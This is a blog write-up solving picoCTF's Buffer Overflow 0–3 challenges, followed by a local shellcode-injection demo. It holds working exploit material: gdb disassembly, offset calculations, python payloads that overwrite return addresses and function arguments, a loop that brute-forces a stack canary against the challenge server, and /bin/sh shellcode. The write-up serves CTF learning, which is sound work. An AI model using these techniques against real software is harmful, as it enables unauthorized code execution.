[PicoCTF] Buffer Overflow - 0x101


Just another SIGSEGV / strcpy()
/ gets()
/ args alteration / brute-forced canaries write-up.
Buffer Overflow 0
Let's start off simple, can you overflow the correct buffer?
The program is available here. You can view source here.
Connect using:
nc saturn.picoctf.net 60079
Local SIGSEGV handler by strcpy()
The program simply asks for an input:
jamarir@kali:~$ ./vuln
Please create 'flag.txt' in this directory with your own debugging flag.
jamarir@kali:~$ echo flag > flag.txt
jamarir@kali:~$ ./vuln
Input: test
The program will exit now
Looking at the source code, the program first reads the flag.txt
content, and puts it into flag
:
#define FLAGSIZE_MAX 64
char flag[FLAGSIZE_MAX];
[...]
int main(int argc, char **argv){
FILE *f = fopen("flag.txt","r");
if (f == NULL) {
printf("%s %s", "Please create 'flag.txt' in this directory with your",
"own debugging flag.\n");
exit(0);
}
fgets(flag,FLAGSIZE_MAX,f);
[...]
}
Then, it sets an exception handler using the signal()
function:
signal(SIGSEGV, sigsegv_handler); // Set up signal handler
The signal is set to SIGSEGV
, while the handler is set to the defined function sigsegv_handler()
:
void sigsegv_handler(int sig) {
printf("%s\n", flag);
fflush(stdout);
exit(1);
}
Therefore, if a segmentation fault exception is triggered, the flag’s content is disclosed. A segmentation fault happens when the process tries to access a forbidden memory region, such as reading a pointer outside the process’s virtual memory, or writing a read-only region.
Our purpose would be to execute that handler, as it discloses the flag.
When
vuln
is launched, its mapped virtual memory is given by the process’s maps file:jamarir@kali:~$ ./vuln & [1] 28977 Input: [1] + 28977 suspended (tty input) ./vuln jamarir@kali:~$ cat /proc/28977/maps 5663a000-5663b000 r--p 00000000 08:01 4351022 /home/jamarir/[...]/vuln 5663b000-5663c000 r-xp 00001000 08:01 4351022 /home/jamarir/[...]/vuln 5663c000-5663d000 r--p 00002000 08:01 4351022 /home/jamarir/[...]/vuln 5663d000-5663e000 r--p 00002000 08:01 4351022 /home/jamarir/[...]/vuln 5663e000-5663f000 rw-p 00003000 08:01 4351022 /home/jamarir/[...]/vuln 5850a000-5852c000 rw-p 00000000 00:00 0 [heap] f7ce6000-f7d09000 r--p 00000000 08:01 2396758 /usr/lib32/libc.so.6 f7d09000-f7e95000 r-xp 00023000 08:01 2396758 /usr/lib32/libc.so.6 f7e95000-f7f1a000 r--p 001af000 08:01 2396758 /usr/lib32/libc.so.6 f7f1a000-f7f1c000 r--p 00234000 08:01 2396758 /usr/lib32/libc.so.6 f7f1c000-f7f1d000 rw-p 00236000 08:01 2396758 /usr/lib32/libc.so.6 f7f1d000-f7f27000 rw-p 00000000 00:00 0 f7f3f000-f7f41000 rw-p 00000000 00:00 0 f7f41000-f7f45000 r--p 00000000 00:00 0 [vvar] f7f45000-f7f47000 r-xp 00000000 00:00 0 [vdso] f7f47000-f7f48000 r--p 00000000 08:01 2396756 /usr/lib32/ld-linux.so.2 f7f48000-f7f6c000 r-xp 00001000 08:01 2396756 /usr/lib32/ld-linux.so.2 f7f6c000-f7f7a000 r--p 00025000 08:01 2396756 /usr/lib32/ld-linux.so.2 f7f7a000-f7f7c000 r--p 00033000 08:01 2396756 /usr/lib32/ld-linux.so.2 f7f7c000-f7f7d000 rw-p 00035000 08:01 2396756 /usr/lib32/ld-linux.so.2 fff5f000-fff80000 rw-p 00000000 00:00 0 [stack]
For instance, we see that the stack is loaded between the
fff5f000
andffff8000
addresses, with a read-write access. Similarly, the heap is loaded into5850a000-5852c000
with the same rights. For the.text
section, we may run it withingdb
and disassemble the running main for instance:
jamarir@kali:~$ gdb -q vuln (gdb) break *main (gdb) run [...] Breakpoint 1, 0x56556382 in main () (gdb)
The execution flow broke at address
0x56556382
, i.e. the beginning of themain
’s function. The PID being 50158:
jamarir@kali:~$ ps -faux |grep -A1 'gdb' jamarir 49198 0.0 0.2 285368 36960 pts/1 Sl+ 21:00 0:00 | \_ gdb -q vuln jamarir 50158 0.0 0.0 2712 1012 pts/1 t 21:01 0:00 | \_ /home/jamarir/[...]/vuln
We may realize that the
vuln
’s executable is storing the.text
region in the process:jamarir@kali:~$ cat /proc/50158/maps 56555000-56556000 r--p 00000000 08:01 4351022 /home/jamarir/[...]/vuln 56556000-56557000 r-xp 00001000 08:01 4351022 /home/jamarir/[...]/vuln 56557000-56558000 r--p 00002000 08:01 4351022 /home/jamarir/[...]/vuln 56558000-56559000 r--p 00002000 08:01 4351022 /home/jamarir/[...]/vuln 56559000-5655a000 rw-p 00003000 08:01 4351022 /home/jamarir/[...]/vuln [...]
In particular, our instruction is in the second line above, within the
56556000-56557000
range, which is the only executable slot (fortunately…).
Flag disclosure
The vulnerable function is strcpy()
, used to fill the buf2[16]
buffer from buf1[100]
, a buffer we control:
void vuln(char *input){
char buf2[16];
strcpy(buf2, input);
}
int main(int argc, char **argv){
[...]
char buf1[100];
gets(buf1);
vuln(buf1);
[...]
}
Thus, we can overflow the buf2
's size until it overwrites the instruction pointer (eip
in our case, as this is a 32 bit executable).
jamarir@kali:~$ file vuln
vuln: ELF 32-bit LSB pie executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, BuildID[sha1]=b53f59f147e1b0b087a736016a44d1db6dee530c, for GNU/Linux 3.2.0, not stripped
When eip
is overwritten to an invalid address (outside the above .text
virtual address space), a segmentation fault happens. As a consequence, if the instruction pointer is set to "AAAA"
, the process will try to execute an instruction stored at 0×41414141
. However, in our above example, the only executable region is between the addresses 0x5663b000
and 0x5663c000
. Such eip
alteration would then trigger a segfault:
And reveal the flag:
jamarir@kali:~$ python2 -c "print'A'*999" |./vuln
Input: flag
That same segfault exposes the server-side flag:
jamarir@kali:~$ python2 -c "print'A'*999" |nc saturn.picoctf.net 60079
Input: picoCTF{ov[...]2d}
GDB Analysis
Let’s first put a breakpoint into the vulnerable strcpy()
call instruction within gdb
:
(gdb) disass main
[...]
0x00001471 <+239>: push eax
0x00001472 <+240>: call 0x1353 <vuln>
0x00001477 <+245>: add esp,0x10
[...]
(gdb) disass vuln
Dump of assembler code for function vuln:
0x00001353 <+0>: endbr32
0x00001357 <+4>: push ebp
0x00001358 <+5>: mov ebp,esp
0x0000135a <+7>: push ebx
0x0000135b <+8>: sub esp,0x14
0x0000135e <+11>: call 0x149b <__x86.get_pc_thunk.ax>
0x00001363 <+16>: add eax,0x2c49
0x00001368 <+21>: sub esp,0x8
0x0000136b <+24>: push DWORD PTR [ebp+0x8]
0x0000136e <+27>: lea edx,[ebp-0x18]
0x00001371 <+30>: push edx
0x00001372 <+31>: mov ebx,eax
0x00001374 <+33>: call 0x1170 <strcpy@plt>
0x00001379 <+38>: add esp,0x10
0x0000137c <+41>: nop
0x0000137d <+42>: mov ebx,DWORD PTR [ebp-0x4]
0x00001380 <+45>: leave
0x00001381 <+46>: ret
End of assembler dump.
(gdb) break *vuln+33
Breakpoint 1 at 0x1374
N.B.: The process’s virtual address space changed between execution. Therefore, the address range of the executable isn't persistent.
Running the program with at least 32 characters overwrites eip
with AAAA
when the ret
instruction is called:
(gdb) run <<<$(python2 -c "print'A'*32")
(gdb) break *vuln+33
(gdb) nexti
[...]
(gdb) nexti
0x41414141 in ?? ()
An easier approach to know the size required to overwrite
eip
is to use themsf-pattern_create
ruby script. This script generates a non-repeating-4-bytes payload that helps us locate theeip
’s offset automatically:
jamarir@kali:~$ msf-pattern_create -l 40 Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2A (gdb) run <<<$(echo -n Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2A) [...] Program received signal SIGSEGV, Segmentation fault. 0x62413961 in ?? () jamarir@kali:~$ python -c 'print("Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2A".index(bytes.fromhex("61394162").decode()))' 28
Here,
eip
’s is at offset 28. Thus, the next 4 bytes overwrite it.
Indeed, our buf2
's slot, in the stack, is partly prepared by the vuln
’s prologue, via the sub esp, 0×14
instruction (i.e. 20 bytes, or 5 stack slots).
But looking before the strcpy()
call, we see that our buffer’s address is actually at ebp-0x18
. This address is loaded into edx
(lea edx,[ebp-0x18]
, equivalent to edx = &ebx-24
in C/C++), then pushed onto the stack as the first strcpy(buf2, input)
’s argument.
Therefore, our buffer is actally starting at ebp-0x18
. In other words, 24 bytes of memory are freed for the buffer:
Note that we don’t care of the other stack alteration in the
vuln
's instructions (e.g.sub esp,0x8
at address0x00001368
). All that matters is where our overwritable buffer is placed, compared toeip
.
Therefore, writing 28 A
s will set ebp
to AAAA
, while filling 32 A
s will set eip
to AAAA
.
Buffer Overflow 1
Control the return address Now we're cooking! You can overflow the buffer and return to the flag function in the program. You can view source here.
And connect with it using
nc saturn.picoctf.net 49950
gets()
detour
This time, an input is asked, then the next instruction’s address to be executed is disclosed:
jamarir@kali:~$ chmod +x vuln
jamarir@kali:~$ echo flagus > flag.txt
jamarir@kali:~$ ./vuln
Please enter your string:
aString
Okay, time to return... Fingers Crossed... Jumping to 0x804932f
The program reads our input using the gets()
function, and then prints the return address after the vuln()
's epilogue:
[...]
#define FLAGSIZE 64
[...]
void vuln(){
char buf[BUFSIZE];
gets(buf);
printf("Okay, time to return... Fingers Crossed... Jumping to 0x%x\n", get_return_address());
}
int main(int argc, char **argv){
puts("Please enter your string: ");
vuln();
return 0;
}
However, as the gets()
's manual shows, this function should NEVER be used, as it implements no buffer size controls:
Our purpose is to call the win()
function, which discloses the flag:
[...]
#define FLAGSIZE 64
[...]
void win() {
char buf[FLAGSIZE];
FILE *f = fopen("flag.txt","r");
if (f == NULL) {
printf("%s %s", "Please create 'flag.txt' in this directory with your",
"own debugging flag.\n");
exit(0);
}
fgets(buf,FLAGSIZE,f);
printf(buf);
}
[...]
Flag disclosure
Empirically, 48 characters are enough to overwrite eip
:
jamarir@kali:~$ python2 -c "print'A'*48" |./vuln
Please enter your string:
Okay, time to return... Fingers Crossed... Jumping to 0x41414141
[1] 252563 done python2 -c "print'A'*48" |
252564 segmentation fault ./vuln
Again, that’s because our buffer starts 0x28=40
bytes before ebp
(see the lea
instruction):
(gdb) disass vuln
Dump of assembler code for function vuln:
0x08049281 <+0>: endbr32
0x08049285 <+4>: push ebp
0x08049286 <+5>: mov ebp,esp
0x08049288 <+7>: push ebx
0x08049289 <+8>: sub esp,0x24
0x0804928c <+11>: call 0x8049130 <__x86.get_pc_thunk.bx>
0x08049291 <+16>: add ebx,0x2d6f
0x08049297 <+22>: sub esp,0xc
0x0804929a <+25>: lea eax,[ebp-0x28]
0x0804929d <+28>: push eax
0x0804929e <+29>: call 0x8049050 <gets@plt>
Then, overwriting ebp
requires 44 bytes, while overwriting eip
requires 48. Because we wanna execute win()
, we may overwrite eip
to the win()
’s address:
jamarir@kali:~$ nm vuln |grep win$
080491f6 T win
jamarir@kali:~$ objdump -M intel -j .text -d vuln |grep '<win>'
080491f6 <win>:
Izi:
jamarir@kali:~$ python2 -c 'print"A"*44+"\xf6\x91\x04\x08"' |nc saturn.picoctf.net 49950
Please enter your string:
Okay, time to return... Fingers Crossed... Jumping to 0x80491f6
picoCTF{ad[...]1e}
Buffer Overflow 2
Control the return address and arguments This time you'll need to control the arguments to the function you return to! Can you get the flag from this program? You can view source here.
And connect with it using
nc saturn.picoctf.net 50278
AAA (Arbitrary Argument Alteration)
Again, a string’s asked:
jamarir@kali:~$ chmod +x vuln
jamarir@kali:~$ echo flagator > flag.txt
jamarir@kali:~$ ./vuln
Please enter your string:
I have no idea anymore
I have no idea anymore
Looking at the source code, it asks our string without controlling its size through gets()
:
[...]
#define BUFSIZE 100
[...]
void vuln(){
char buf[BUFSIZE];
gets(buf);
puts(buf);
}
int main(int argc, char **argv){
[...]
puts("Please enter your string: ");
vuln();
return 0;
}
Similarly, the purpose is to call win()
disclosing the flag:
[...]
#define FLAGSIZE 64
void win(unsigned int arg1, unsigned int arg2) {
char buf[FLAGSIZE];
FILE *f = fopen("flag.txt","r");
if (f == NULL) {
printf("%s %s", "Please create 'flag.txt' in this directory with your",
"own debugging flag.\n");
exit(0);
}
fgets(buf,FLAGSIZE,f);
if (arg1 != 0xCAFEF00D)
return;
if (arg2 != 0xF00DF00D)
return;
printf(buf);
}
[...]
So we want to:
Alter the
vuln()
’s instruction pointer to point towin()
.Alter the
win()
's arguments to be equal to0xCAFEF00D
and0xF00DF00D
respectively, so that the program doesn’t return before printing the flag.
Flag disclosure
First things first, our buffer is placed 0×6c=108
bytes above ebp
:
(gdb) disass vuln
Dump of assembler code for function vuln:
0x08049338 <+0>: endbr32
0x0804933c <+4>: push ebp
0x0804933d <+5>: mov ebp,esp
0x0804933f <+7>: push ebx
0x08049340 <+8>: sub esp,0x74
0x08049343 <+11>: call 0x80491d0 <__x86.get_pc_thunk.bx>
0x08049348 <+16>: add ebx,0x2cb8
0x0804934e <+22>: sub esp,0xc
0x08049351 <+25>: lea eax,[ebp-0x6c]
0x08049354 <+28>: push eax
0x08049355 <+29>: call 0x80490f0 <gets@plt>
Subsequently, we may overwrite ebp
using 112 characters, and eip
to win()
using the next 4 bytes:
jamarir@kali:~$ objdump -M intel -j .text -d vuln |grep '<win>'
08049296 <win>:
jamarir@kali:~$ python2 -c "print'A'*112+'\x96\x92\x04\x08'" |./vuln
Please enter your string:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
[1] 284710 done python2 -c "print'A'*112+'\x96\x92\x04\x08'" |
284711 segmentation fault ./vuln
Even if a segmentation fault happens (where the win()
’s epilogue is broken), we may confirm win()
is executed using a debugger with a breakpoint:
(gdb) break *win
(gdb) run <<<$(python2 -c "print'A'*112+'\x96\x92\x04\x08'" )
[...]
Please enter your string:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Breakpoint 1, 0x08049296 in win ()
When win()
is looking for arg1
and arg2
, it uses ebp
as the base pointer. Because the arguments are pushed from right to left before the call (i.e. arg2
first, arg1
second), the first argument is at ebp+8
, while the second one is at ebp+12
:
jamarir@kali:~$ objdump -M intel -j .text -d vuln |grep --color=no -oPz '(?s)\w+ <win>:(.*?)(?=\w+ .\w*.:)'
08049296 <win>:
[...]
8049309: 83 c4 10 add esp,0x10
804930c: 81 7d 08 0d f0 fe ca cmp DWORD PTR [ebp+0x8],0xcafef00d
8049313: 75 1a jne 804932f <win+0x99>
8049315: 81 7d 0c 0d f0 0d f0 cmp DWORD PTR [ebp+0xc],0xf00df00d
804931c: 75 14 jne 8049332 <win+0x9c>
[...]
Adding the fact that eip
is placed below ebp
, if we want to alter the args accordingly, we’ll first overwrite eip
to a dummy value, and then our args inputs:
jamarir@kali:~$ ./vuln <<<$(python2 -c 'print"A"*112+"\x96\x92\x04\x08"+"B"*4+"\x0D\xF0\xFE\xCA"+"\x0D\xF0\x0D\xF0"')
Please enter your string:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
flagator
[1] 254449 segmentation fault ./vuln <<<
As a side note, notice that because we detoured the execution flow from
vuln()
towin()
:
vuln()
didn't execute its epilogue.
win()
didn’t execute its prologue.Therefore,
win()
will use thevuln()
's base pointer instead of its own.
Izi:
jamarir@kali:~$ nc saturn.picoctf.net 50278 <<<$(python2 -c 'print"A"*112+"\x96\x92\x04\x08"+"A"*4+"\x0D\xF0\xFE\xCA"+"\x0D\xF0\x0D\xF0"')
Please enter your string:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
picoCTF{ar[...]43}
Buffer Overflow 3
Do you think you can bypass the protection and get the flag? It looks like Dr. Oswal added a stack canary to this program to protect against buffer overflows. You can view source here.
And connect with it using:
nc saturn.picoctf.net 63645
Canarie’ed
The last CTF implements a custom canary protection. Such protection inject random bytes between the base pointer (ebp
) and the RET address (eip
):
Therefore, if we try to overwrite ebp
or eip
, overflowing buf2
, we’d alter the canaries bytes (aka. the stack cookie), and the program would instantly stop.
Canary File Retrieval
Looking at the source code, we see that a function named read_canary()
is executed first:
int main(int argc, char **argv){
[...]
read_canary();
vuln();
return 0;
}
This function simply stores the first 4 bytes of canary.txt
into global_canary
using fread()
:
[...]
#define CANARY_SIZE 4
[...]
char global_canary[CANARY_SIZE];
void read_canary() {
FILE *f = fopen("canary.txt","r");
if (f == NULL) {
printf("%s %s", "Please create 'canary.txt' in this directory with your",
"own debugging canary.\n");
fflush(stdout);
exit(0);
}
fread(global_canary,sizeof(char),CANARY_SIZE,f);
fclose(f);
}
Then, let’s create a local canary.txt
for testing:
jamarir@kali:~$ echo 1234 > canary.txt
Arbitrary read()
counter
The vuln()
function:
Copies 4 bytes from
canary.txt
intocanary
.Reads how many bytes the user wanna input in
count
.Stores the user’s input into
buf
usingread()
.
[...]
#define BUFSIZE 64
#define CANARY_SIZE 4
[...]
void vuln(){
char canary[CANARY_SIZE];
char buf[BUFSIZE];
char length[BUFSIZE];
int count;
int x = 0;
memcpy(canary,global_canary,CANARY_SIZE);
printf("How Many Bytes will You Write Into the Buffer?\n> ");
while (x<BUFSIZE) {
read(0,length+x,1);
if (length[x]=='\n') break;
x++;
}
sscanf(length,"%d",&count);
printf("Input> ");
read(0,buf,count);
if (memcmp(canary,global_canary,CANARY_SIZE)) {
printf("***** Stack Smashing Detected ***** : Canary Value Corrupt!\n"); // crash immediately
fflush(stdout);
exit(0);
}
printf("Ok... Now Where's the Flag?\n");
fflush(stdout);
}
The vulnerable code is:
read(0,buf,count);
Where the amount of bytes read is set by the user in count
. Therefore, the user might overflow buf
and fill it with more than the 64 allocated characters.
The issue, however, is that buf
is declared after canary
:
char canary[CANARY_SIZE];
char buf[BUFSIZE];
Therefore, in the stack, buf
is above canary
. If we want to overwrite eip
that is far below, we’d be altering canary
along the way unfortunately.
Brute-forced canaries
Normally, the program runs as follows:
jamarir@kali:~$ ./vuln
How Many Bytes will You Write Into the Buffer?
> 99
Input> AAAA
Ok... Now Where's the Flag?
When the canary (being set to 1234 locally) is altered, the program detects the corruption and stops:
jamarir@kali:~$ cat canary.txt
1234
jamarir@kali:~$ echo "99\n$(python2 -c 'print"A"*64+"1234"')" |./vuln
How Many Bytes will You Write Into the Buffer?
> Input> Ok... Now Where's the Flag?
jamarir@kali:~$ echo "99\n$(python2 -c 'print"A"*64+"1235"')" |./vuln
How Many Bytes will You Write Into the Buffer?
> Input> ***** Stack Smashing Detected ***** : Canary Value Corrupt!
So our first goal is to find a way to brute-force the canary. A solution is to brute-force each byte of the canary (as we know it’s based on a static file content between executions).
For instance, we may brute-force the first canary byte with the following loop:
jamarir@kali:~$ while read; do
echo -n "99\n$(python2 -c 'print "A"*64')${REPLY}" |./vuln |grep -vE 'How Many Bytes will You Write Into the Buffer|Stack Smashing Detected' && echo "Canary: '$REPLY'";
done <char.txt
> Input> Ok... Now Where's the Flag?
Canary: '1'
char.txt
contains all printable chars, except spaces and simple quote'
.
The next byte is disclosed by first adding the discovered canary byte in our input, and then brute-force:
jamarir@kali:~$ while read; do
echo -n "99\n$(python2 -c 'print "A"*64+"1"')${REPLY}" |./vuln |grep -v 'How Many Bytes will You Write Into the Buffer|Stack Smashing Detected' && echo "Canary: '$REPLY'";
done <char.txt
> Input> Ok... Now Where's the Flag?
Canary: '2'
jamarir@kali:~$ while read; do
echo -n "99\n$(python2 -c 'print "A"*64+"12"')${REPLY}" |./vuln |grep -v 'How Many Bytes will You Write Into the Buffer|Stack Smashing Detected' && echo "Canary: '$REPLY'";
done <char.txt
> Input> Ok... Now Where's the Flag?
Canary: '3'
jamarir@kali:~$ while read; do
echo -n "99\n$(python2 -c 'print "A"*64+"123"')${REPLY}" |./vuln |grep -v 'How Many Bytes will You Write Into the Buffer|Stack Smashing Detected' && echo "Canary: '$REPLY'";
done <char.txt
> Input> Ok... Now Where's the Flag?
Canary: '4'
We can then disclose the server-side canary with that same methodology:
jamarir@kali:~$ while read; do
echo -n "99\n$(python2 -c 'print "A"*64')${REPLY}" |nc saturn.picoctf.net 52140 |grep -v 'How Many Bytes will You Write Into the Buffer|Stack Smashing Detected' && echo "Canary: '$REPLY'";
done <char.txt
> Input> Ok... Now Where's the Flag?
Canary: 'B'
jamarir@kali:~$ while read; do
echo -n "99\n$(python2 -c 'print "A"*64+"B"')${REPLY}" |nc saturn.picoctf.net 52140 |grep -v 'How Many Bytes will You Write Into the Buffer|Stack Smashing Detected' && echo "Canary: '$REPLY'";
done <char.txt
> Input> Ok... Now Where's the Flag?
Canary: 'i'
jamarir@kali:~$ while read; do
echo -n "99\n$(python2 -c 'print "A"*64+"Bi"')${REPLY}" |nc saturn.picoctf.net 52140 |grep -v 'How Many Bytes will You Write Into the Buffer|Stack Smashing Detected' && echo "Canary: '$REPLY'";
done <char.txt
> Input> Ok... Now Where's the Flag?
Canary: 'R'
jamarir@kali:~$ while read; do
echo -n "99\n$(python2 -c 'print "A"*64+"BiR"')${REPLY}" |nc saturn.picoctf.net 52140 |grep -v 'How Many Bytes will You Write Into the Buffer|Stack Smashing Detected' && echo "Canary: '$REPLY'";
done <char.txt
> Input> Ok... Now Where's the Flag?
Canary: 'd'
The server-side canary is a BiRd
.
Flag disclosure
When doing the read
call:
printf("Input> ");
read(0,buf,count);
We see that buf
is placed 0x50=80
bytes above ebp
:
jamarir@kali:~$ objdump -M intel -j .text -d vuln |grep --color=no -oPz '(?s)\w+ <vuln>:(.*?)(?=\w+ .\w*.:)'
[...]
8049534: 8b 85 6c ff ff ff mov eax,DWORD PTR [ebp-0x94]
804953a: 83 ec 04 sub esp,0x4
804953d: 50 push eax
804953e: 8d 45 b0 lea eax,[ebp-0x50]
8049541: 50 push eax
8049542: 6a 00 push 0x0
8049544: e8 e7 fb ff ff call 8049130 <read@plt>
[...]
And because the canary is just below buf
, we know the stack looks like:
Therefore, we can overwrite eip
by first padding the 4 slots (16 bytes) after the canary. As always, we wanna execute win()
to disclose the flag:
void win() {
char buf[FLAGSIZE];
FILE *f = fopen("flag.txt","r");
if (f == NULL) {
printf("%s %s", "Please create 'flag.txt' in this directory with your",
"own debugging flag.\n");
fflush(stdout);
exit(0);
}
fgets(buf,FLAGSIZE,f); // size bound read
puts(buf);
fflush(stdout);
}
At address 08049336
:
jamarir@kali:~$ nm vuln |grep win$
08049336 T win
GG WP !
jamarir@kali:~$ echo -n "99\n$(python2 -c "print'A'*64+'BiRd'+'A'*16+'\x36\x93\x04\x08'")" |nc saturn.picoctf.net 63645
How Many Bytes will You Write Into the Buffer?
> Input> Ok... Now Where's the Flag?
picoCTF{St[...]9c}
Shellcode Execution
Just to show-case how our previous shellcode can be executed in memory with a buffer overflow, let’s consider the following vulnerable code using an uncontrolled strcpy()
:
#include <stdio.h>
#include <string.h>
void vuln(char *buf1) {
char buf2[24];
strcpy(buf2, buf1);
}
void main() {
char buf1[100];
printf("Input: ");
scanf("%s", buf1);
printf("%s\n", buf1);
vuln(buf1);
}
Without ASLR:
jamarir@kali:~$ sudo bash -c 'echo 0 > /proc/sys/kernel/randomize_va_space'
Compiled with an executable stack (-z execstack
, see RWE
on the stack below), and without canaries protection (-fno-stack-protector
):
jamarir@kali:~$ gcc -m32 -fno-pic -fno-stack-protector -z execstack -mpreferred-stack-boundary=2 -o main main.c
jamarir@kali:~$ readelf -l main
[...]
Program Headers:
Type Offset VirtAddr PhysAddr FileSiz MemSiz Flg Align
[...]
GNU_STACK 0x000000 0x00000000 0x00000000 0x00000 0x00000 RWE 0x10
[...]
We can generate a core dump to get our buf1
’s location in memory when the program crashes:
jamarir@kali:~$ ulimit -c 100000; sudo sysctl -w kernel.core_pattern=./core
jamarir@kali:~$ rm -f core.*; python2 -c "print'A'*24+'B'*4+'C'*4" |./main
Input: AAAAAAAAAAAAAAAAAAAAAAAABBBBCCCC
[1] 365563 done python2 -c "print'A'*24+'B'*4+'C'*4" |
365564 segmentation fault (core dumped) ./main
Opening this core dump into GDB, we see that the instruction pointer has been overwritten with 0×43434343
(i.e. "CCCC"
):
jamarir@kali:~$ echo exit |gdb -q main core.* -ex 'x/40x $esp-0x60'
[...]
Core was generated by `./main'.
Program terminated with signal SIGSEGV, Segmentation fault.
#0 0x43434343 in ?? ()
0xffffcd30: 0xf7f9dd40 0x5655a1a0 0x00000028 0xf7f9c768
0xffffcd40: 0xf7f9c768 0x00000020 0xf7f9dd40 0xf7de32fb
0xffffcd50: 0xf7f9dd40 0x0000000a 0x00000020 0xffffcebc
0xffffcd60: 0xf7ffcb60 0x565561cf 0xffffcd70 0xffffcd94
0xffffcd70: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffcd80: 0x41414141 0x41414141 0x42424242 0x43434343
0xffffcd90: 0xffffcd00 0x41414141 0x41414141 0x41414141
0xffffcda0: 0x41414141 0x41414141 0x41414141 0x42424242
0xffffcdb0: 0x43434343 0xf7fc6000 0x00000000 0x00000000
0xffffcdc0: 0x00000000 0x00000000 0xffffffff 0xf7d78964
buf1
starts at 0xffffcd94
, while buf2
starts at 0xffffcd70
. Then, our buf1
's AAAA...
starts at 0xffffcd94
, and the copied CCCC
into buf2
(overwriting eip
) is at 0xffffcd8c
. Then, we may:
Store our shellcode in
buf1
at0xffffcd94
.Overflow
buf2
starting at0xffffcd70
, and overwriteeip
at0xffffcd8c
to our shellcode.
That way, the execution flow will jump to our shellcode after the vuln
’s epilogue executes the ret
instruction:
jamarir@kali:~$ (python2 -c "print'\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x89\xc1\x99\xb0\x0e\x2c\x03\xcd\x80'+'B'*4+'\x94\xcd\xff\xff'"; cat) |./main
Input: 1Phn/shh//bi,̀BBBB
echo 'Hello World ! (yet again...)'
Hello World ! (yet again...)
Subscribe to my newsletter
Read articles from jamarir directly inside your inbox. Subscribe to the newsletter, and don't miss out.
Written by

jamarir
jamarir
Jamaledine AMARIR. Pentester, CTF Player, Game Modding enthusiast | CRTO